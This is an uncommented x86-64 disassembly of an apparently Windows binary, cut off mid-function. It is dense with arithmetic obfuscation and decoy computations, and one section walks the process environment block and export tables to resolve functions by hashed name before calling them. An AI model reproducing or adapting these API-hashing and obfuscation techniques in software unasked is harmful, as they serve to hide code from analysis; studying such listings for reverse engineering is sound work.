sub rcx, rax
movabs rax, 0x8a3b3cd870abe0c0
xor rcx, rax
movabs rdx, 0xb483ce50900b942a
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94aa787967e
mov r10, qword [0x14033e038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b558786981
mov r11, qword [0x14033e030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d5cd6b47f53
add rdx, rax
add rdx, rcx
movabs rax, 0x476c8bb4e31c837e
xor rdx, rax
mov qword [rbp + 0x100], rdx
movabs rcx, 0xf33a52b5eefd6803
add rcx, qword [rbp + 0xf8]
movabs rax, 0x8d55366253098101
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f59328737
sub rcx, rax
movabs rax, 0xf8f8cd988ae13c0d
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0xc7d654b9b297963d
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a87b676f65
xor rcx, rax
movabs rax, 0x5f627dc6d6647a88
sub rcx, rax
movabs rax, 0x9e3b3cd269bfc945
xor rcx, rax
movabs rax, 0x3483ce44d74fda38
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad7bbf3f4
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b528440c0b
xor r11, rax
movabs rax, 0xe0b56d8d5b469ac9
add rcx, rax
add rcx, r11
movabs rax, 0x56caa7e30152eb7c
xor rcx, rax
mov qword [rbp + 0xf8], rcx
and rcx, rdx
xor eax, eax
cmp dword [rsp + 0x70], r13d
setge al
and qword [rbp + 0x100], 0
and qword [rbp + 0xf8], 0
cmp rax, rcx
jne 0x140287a63
xor edi, edi
mov esi, 0xe0cd88a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1402878b9
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xc251211a
jmp 0x1402878ab
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x140287885
cmp r10d, edi
jne 0x1402879c9
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1402879c9
mov r14d, dword [rbx + 0x18]
test r14d, r14d
je 0x1402879c9
mov r13d, dword [rbx + 0x20]
dec r14d
lea rdx, [r14*4]
add rdx, r13
mov r11d, dword [rdx + r10]
add r11, r10
mov r15d, 0xc251211a
jmp 0x14028792c
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x140287909
cmp r15d, esi
je 0x140287945
test r14d, r14d
jne 0x1402878ec
jmp 0x1402879c9
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r14*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x1402879d1
lea rax, [rcx + rbx]
cmp r8, rax
jae 0x1402879d1
mov edi, 0xc251211a
mov esi, edi
jmp 0x14028798e
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140287974
jmp 0x1402879ae
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, esi
mov esi, eax
imul esi, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x140287997
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140287859
mov rcx, qword [rbp - 0x70]
call r8
and dword [rbp + 0x20], 0
mov dword [rbp + 0x20], 0x43896bb1
mov eax, dword [rbp + 0x20]
add eax, 0xe0b8ec34
xor eax, 0x818972bd
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x26f8463d
xor eax, 0x995ec9cc
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x5f58c4c
add eax, ecx
xor eax, 0x8bad8c9e
add eax, 0x26237d14
xor eax, 0xfce27950
lea edx, [rcx + 0x653076a3]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd782e204
sub edx, eax
mov eax, dword [0x14033e030]
xor eax, 0x287d1dfb
add eax, 0x21fd5a1d
add eax, edx
xor eax, 0x1ce20dec
mov dword [rbp + 0x20], eax
and dword [rbp + 0x20], 0
jmp 0x14028a175
movabs rsi, 0x83accd4820a57219
movabs rax, 0xa41340c330000000
movabs r14, 0x66517f3bcc49322b
mov rbx, qword [0x14033e078]
imul rbx, rax
movabs rax, 0xcd1632d630000000
xor rbx, rax
mov r13, rbx
imul r13, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r11, [0x14033e060]
imul r8, qword [r11 + rcx*8]
movabs rax, 0xc8bdbe535e346fd8
imul r8, rax
shr r8, 3
movabs rax, 0xa4f836bd1da4e15a
xor r8, rax
movabs rax, 0xffffff57c50f5c4f
mov rdi, rbx
imul rdi, rax
sub rdi, 0x3c4a2478
xor rdi, r8
xor rdi, qword [0x14033e060]
mov rax, r8
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bccbce36e
imul rax, rcx
not rax
and rdi, rax
ror rdi, 6
shr rdi, 8
movabs r12, 0x7c5332b7df5a8de7
lea rcx, [rbx + r12]
xor rcx, 0xfffffffff232e863
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xf77ef1497f3f9e10
mov r10, qword [r11 + rcx*8]
imul r10, rax
sub r10, r12
movabs rcx, 0x2d61a96904d030cc
mov rax, r8
imul rax, rcx
xor r10, rax
shr r10, 0x1f
not r10
mov r15, r10
xor r15, rbx
lea rcx, [r10 + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x7f
mov eax, 0x8000003f
and ecx, eax
jge 0x140287bd4
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xffffffffc3b5db88
mov qword [rbp + 0x558], rdx
lea r11, [rdx + r12]
mov r9, r10
imul r9, rdi
sub r9, r11
xor r9, r14
movzx r12d, r11b
mov ecx, r12d
and ecx, 0xf
and ecx, eax
jge 0x140287c12
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
movabs rax, 0xbba16b08972d0048
imul r15, rax
movabs rax, 0x418dff8287144671
sub r15, rax
xor r9, r15
mov rax, r11
sub rax, qword [0x14033e078]
xor r9, rax
xor r9, r8
xor r9, rbx
mov rax, r9
and eax, 1
je 0x140287f9f
sub rax, 1
je 0x140287e5d
sub rax, 1
je 0x140287d68
cmp rax, 1
jne 0x140288053
mov r14, r11
imul r14, r10
movabs rax, 0xf1c236dbad6c5849
add rax, r9
xor r14, rax
ror r14, 0x3c
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x83572e4ded6c
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x7cd1b7cfba0c4009
xor rdx, rax
movzx eax, r9b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db976ad0197
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rsi
mov eax, 0xa776d37d
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x6eed18d6281fa71e
sub rsi, r14
shr rsi, cl
movabs rax, 0x7c5b5740354d3199
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rdi
xor rsi, rax
jmp 0x140288053
movabs rax, 0xaaaaaa1aa76f2e43
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed6562f20f
imul rcx, rax
movabs r10, 0xfff17ca8700d183f
mov rax, r8
xor rax, r10
sub rcx, rax
movabs rax, 0xffff7e8a817f1c9f
imul rdx, rax
movabs r10, 0x8cbdbb1feedb8318
add r10, rcx
add r10, rdx
movabs rax, 0x277cd7be75bff923
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, r10
not r11
lea rax, [0x14033e060]
imul r11, qword [rax + rcx*8]
xor r11, 0xfffffffff23af893
lea ecx, [r9 + 1]
and cl, 0x3f
rol r11, cl
movabs rax, 0x472598280000000
xor r13, rax
movabs rax, 0x7c7a7dc69b3df222
and r13, rax
imul r11, r13
mov rcx, r11
ror rcx, 0x35
not rcx
movabs rax, 0x9b2de6b2e94dec10
imul rcx, rax
mov rax, r10
sub rax, r11
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140288053
movabs rax, 0x1c51e7a677b85dab
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x7c5332b7df5a8de6
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x140287eb7
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0x7c5332b7df5a8de7
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4820a57219
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7fbab586e
or r8, rax
mov rsi, qword [0x14033e070]
imul rsi, r14
sub rsi, r11
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6aaa35863
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, r11
imul rdx, rsi
shr rdx, cl
mov rax, r10
sub rax, rdx
sub rax, rbx
movabs rbx, 0x789589465f11479
add rbx, rax
xor rbx, rdi
mov al, r10b
add al, al
lea ecx, [rax + r10]
add cl, cl
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140288053
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r11
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de77520982
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14033e060], 0xffffffffc3b5db88
mov rdx, qword [0x14033e068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14028803c
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x7c5332b7df5a8de7
add rdi, rax
add rdi, qword [rbp + 0x558]
movabs rax, 0xff055d7b8719034f
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14033e060]
imul r8, qword [rax + r14*8]
not r11
imul r11, r9
imul r11, rdi
imul r11, rsi
movabs rcx, 0xf5ed7e8780aa4993
xor rcx, r10
not rcx
xor rcx, r11
sub rcx, r8
call fcn.14027f770
mov qword [0x14034c9a8], rax
and dword [rbp + 0x24], 0
mov dword [rbp + 0x24], 0x213e0585
mov eax, dword [rbp + 0x24]
add eax, 0xef1862b4
xor eax, 0xf809811c
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5932d826
xor eax, 0x8ac5d572
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x3272f6f1
add eax, ecx
xor eax, 0x7b48a974
add eax, 0x29a59ffe
xor eax, 0x41b24b15
lea edx, [rcx - 0x28ca639f]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd7bc5fde
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x2843a021
add ecx, 0x5bb2a977
add ecx, edx
xor ecx, 0x524d1b9e
mov dword [rbp + 0x24], ecx
and dword [rbp + 0x24], 0
movabs rsi, 0x89278b0366d5ce7e
movabs rdi, 0x42e9cd0394fa0a11
movabs rax, 0xe000000000000000
mov rbx, qword [0x14033e070]
imul rbx, rax
movabs rax, 0x3000000000000000
xor rbx, rax
mov r13, rbx
imul r13, rdi
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rdi
lea rax, [0x14033e060]
imul r8, qword [rax + rcx*8]
movabs rax, 0xe414e655c4b0dbe8
imul r8, rax
shr r8, 3
movabs rax, 0xa216ab857414e8b8
xor r8, rax
movabs rax, 0xffffff57c4e29f7f
mov r14, rbx
imul r14, rax
add r14, 0x313a90c
xor r14, r8
xor r14, qword [0x14033e060]
mov rax, r8
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bcd51205e
imul rax, rcx
not rax
and r14, rax
ror r14, 0x3e
shr r14, 8
movabs r12, 0xbd1632fc6b05f5ef
lea rcx, [rbx + r12]
xor rcx, 0xfffffffff3df2b53
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xc25e7d993e3bd3d8
lea r9, [0x14033e060]
mov r11, qword [r9 + rcx*8]
imul r11, rax
add r11, rdi
movabs rcx, 0xdd7adb92b53e8978
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r12]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r9 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x4f
mov eax, 0x8000003f
and ecx, eax
jge 0x1402882bc
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0x313a90c
mov qword [rbp + 0x558], rdx
lea r9, [rdx + r12]
mov r10, r11
imul r10, r14
sub r10, r9
xor r10, rsi
movzx r12d, r9b
mov ecx, r12d
and ecx, 0xf
and ecx, eax
jge 0x1402882fa
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
mov rax, r9
sub rax, qword [0x14033e078]
xor r10, rax
movabs rax, 0xbd4ff630fea0b1cc
imul r15, rax
movabs rax, 0x5f9f864151995521
sub r15, rax
xor r10, r15
xor r10, r8
xor r10, rbx
mov rax, r10
and eax, 1
je 0x140288686
sub rax, 1
je 0x140288545
sub rax, 1
je 0x140288450
cmp rax, 1
jne 0x14028873a
mov rsi, r9
imul rsi, r11
movabs rax, 0xc2313e0345447091
add rax, r10
xor rsi, rax
ror rsi, 4
shr rsi, 0xc
xor rsi, rbx
not rsi
movabs rcx, 0x83572fa02e5c
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0xbd94b7840fbefb31
xor rdx, rax
movzx eax, r10b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97740c2a7
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xa69b104d
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rdi, 0xc91cf51281012746
sub rdi, rsi
shr rdi, cl
movabs rax, 0xbd1e5784bf255671
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, r14
xor rdi, rax
jmp 0x14028873a
movabs rax, 0xaaaaaa1aa682ed73
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed648f313f
imul rcx, rax
movabs r9, 0xfff17ca871e0db0f
mov rax, r8
xor rax, r9
sub rcx, rax
movabs rax, 0xffff7e8a8092dfaf
imul rdx, rax
movabs r11, 0x8c6173859d2f2f10
add r11, rcx
add r11, rdx
movabs rax, 0x277cd7be74523a13
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14033e060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff3d73ba3
lea ecx, [r10 - 0xf]
and cl, 0x3f
rol r9, cl
movabs rax, 0x1020440000000000
xor r13, rax
movabs rax, 0x7c7a7dc69ad03112
and r13, rax
imul r9, r13
mov rcx, r9
ror rcx, 0x10
not rcx
movabs rax, 0x9b2de6b2eefae0d0
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x14028873a
movabs rax, 0x421d5805e8957c27
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xbd1632fc6b05f5ee
mov rax, rbx
imul rax, rdx
xor rax, rsi
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x14028859f
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0xbd1632fc6b05f5ef
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd0394fa0a11
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7fa469b5e
or r8, rax
mov rdi, qword [0x14033e070]
imul rdi, rsi
sub rdi, r9
mov rax, r14
sub rax, r8
xor rdi, rax
movabs rax, 0xc7a7c6a6ab4e9b53
xor rdi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rdi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rdi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x7895894641cd749
add rbx, rax
xor rbx, r14
movzx eax, r11b
imul ecx, eax, 0xf6
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x14028873a
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not r14
imul r14, r11
movabs rax, 0x7cd8a7de76bfcab2
imul r14, rax
mov rax, r8
imul rax, rbx
mov rbx, r14
xor rbx, rax
imul r14, qword [0x14033e060], 0x313a90c
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140288723
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xbd1632fc6b05f5ef
add r14, rax
add r14, qword [rbp + 0x558]
movabs rax, 0xff055d7b86f4c07f
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r8, rbx
lea rax, [0x14033e060]
imul r8, qword [rax + rsi*8]
not r9
imul r9, r10
imul r9, r14
imul r9, rdi
movabs rcx, 0xf5ed7e8781478aa3
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14027f74c
mov qword [0x14034c9a0], rax
mov r8, qword [rbp - 0x70]
mov r9d, dword [r8 + 0x18]
mov dword [rsp + 0x70], r9d
xor r10d, r10d
mov dword [rbp + 0x28], r10d
mov dword [rbp + 0x28], 0xbcc72a8d
mov eax, dword [rbp + 0x28]
add eax, 0xeb8ef4b4
xor eax, 0x8a097d93
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x59283bdc
xor eax, 0x8e5d692a
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x374003c2
add eax, ecx
xor eax, 0x7f516aec
add eax, 0x28d49f46
xor eax, 0xb3771e60
lea edx, [rcx - 0x2559b7a1]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd7ae3a26
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x2851c5d9
add ecx, 0x4d7f143f
add ecx, edx
xor ecx, 0x3b748836
mov dword [rbp + 0x28], ecx
mov dword [rbp + 0x28], r10d
cmp r9d, ecx
ja 0x1402888cf
mov dword [rbp + 0x2c], r10d
mov dword [rbp + 0x2c], 0x61867f49
mov eax, dword [rbp + 0x2c]
add eax, 0xae11635
xor eax, 0xab899ce5
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x2679cdbf
xor eax, 0x6e8dff23
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xccbc0747
add eax, ecx
xor eax, 0x5b97bcb5
add eax, 0x360c3fad
xor eax, 0x97cd130e
lea edx, [rcx + 0x3c2f65c8]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd82b82ac
sub edx, eax
mov eax, dword [0x14033e030]
xor eax, 0x27d47d53
add eax, 0xcb44e2c6
add eax, edx
xor eax, 0xbf5959c4
mov dword [rbp + 0x2c], eax
mov dword [rbp + 0x2c], r10d
jmp 0x14028a175
mov eax, dword [r8 + 0xc]
mov dword [rbp + 0x558], eax
mov r8d, dword [r8 + 0x10]
mov dword [rsp + 0x68], r8d
mov dword [rbp + 0x30], r10d
mov dword [rbp + 0x30], 0x517c3b62
mov eax, dword [rbp + 0x30]
add eax, 0xf94793b6
xor eax, 0x290b8b4c
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5f5165b9
xor eax, 0x786de7ac
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xed9fe7eb
add eax, ecx
xor eax, 0x27aad58e
add eax, 0x74686b13
xor eax, 0xb48a611a
mov edx, dword [0x14033e030]
xor edx, 0x201ae35d
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdfe51ca2
sub edx, eax
sub edx, ecx
sub edx, 0x6e7382f4
xor edx, 0xa7130cda
mov dword [rbp + 0x30], edx
mov dword [rbp + 0x30], r10d
cmp r8d, edx
ja 0x1402889f1
mov dword [rbp + 0x34], r10d
mov dword [rbp + 0x34], 0x13de448f
mov eax, dword [rbp + 0x34]
add eax, 0xf7227536
xor eax, 0xa8b8927
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x20b509a2
xor eax, 0x7a9b9aa6
sub eax, dword [0x14033e048]
mov rdx, qword [0x14033e040]
add eax, 0xb0894ad2
add eax, edx
xor eax, 0x2a1d2c58
add eax, 0x740c3171
xor eax, 0xa99d0183
mov ecx, dword [0x14033e030]
xor ecx, 0x202377d7
sub ecx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdfdc8828
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x6d98be8]
xor eax, 0x22f8f198
mov dword [rbp + 0x34], eax
mov dword [rbp + 0x34], r10d
jmp 0x14028a175
movabs rsi, 0x9d5a49e5431bc041
movabs rax, 0x44a6f4392a02e000
movabs r14, 0x249fe56dd578f4ae
mov r11, qword [0x14033e080]
imul r11, rax
movabs rax, 0x8a9dcc0be746f000
xor r11, rax
mov r12, r11
imul r12, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r12
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r12
sub rcx, rax
mov r8, r11
and r8, rsi
lea rdi, [0x14033e060]
imul r8, qword [rdi + rcx*8]
movabs rax, 0x86fdd078fbd2e068
imul r8, rax
shr r8, 3
movabs rax, 0xc85c7017e34c99df
xor r8, rax
movabs rax, 0xffffff57d4d20543
mov rbx, r11
imul rbx, rax
sub rbx, 0xc7c6714
xor rbx, r8
xor rbx, qword [0x14033e060]
mov rax, r8
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bdd61ba62
imul rax, rcx
not rax
and rbx, rax
ror rbx, 0x12
shr rbx, 8
movabs r13, 0x62a5b61abce43fbf
lea rcx, [r11 + r13]
xor rcx, 0xffffffffe3efb16f
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x493d98a47b1cf948
mov r10, qword [rdi + rcx*8]
imul r10, rax
sub r10, r13
movabs rcx, 0x611129bd0e4a80b8
mov rax, r8
imul rax, rcx
xor r10, rax
shr r10, 0x1f
not r10
mov r15, r10
xor r15, r11
lea rcx, [r10 + r13]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
movzx ecx, byte [rdi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x73
and ecx, 0x8000003f
jge 0x140288b60
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0xfffffffff38398ec
movabs rdi, 0x62a5b61abce43fbf
add rdi, r13
mov r9, r10
imul r9, rbx
sub r9, rdi
xor r9, r14
mov cl, dil
xor cl, 0xfc
and cl, 0xf
rol r9, cl
movabs rax, 0xd7052da26bfed3ec
imul r15, rax
movabs rax, 0x23697011dbe86f7f
add r15, rax
xor r9, r15
mov rax, rdi
sub rax, qword [0x14033e078]
xor r9, rax
xor r9, r8
xor r9, r11
mov rax, r9
and eax, 1
je 0x140288f0a
sub rax, 1
je 0x140288dd7
sub rax, 1
je 0x140288ce3
cmp rax, 1
jne 0x140288fbb
mov r14, rdi
imul r14, r10
movabs rax, 0x699c5f06367d3fd
add rax, r9
xor r14, rax
ror r14, 0x28
shr r14, 0xc
xor r14, r11
not r14
movabs rcx, 0x83573f90b468
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x62273362c86fab5d
xor rdx, rax
movzx eax, r9b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db96770589b
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rsi
mov eax, 0xb6ab8a71
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x2134c13df9a86eee
sub rsi, r14
shr rsi, cl
movabs rcx, 0x62addaa301143a7d
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rbx
xor rsi, rax
jmp 0x140288fbb
movabs rax, 0xaaaaaa1ab6b2774f
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed74bfab03
imul rcx, rax
movabs rdx, 0xfff17ca861d04133
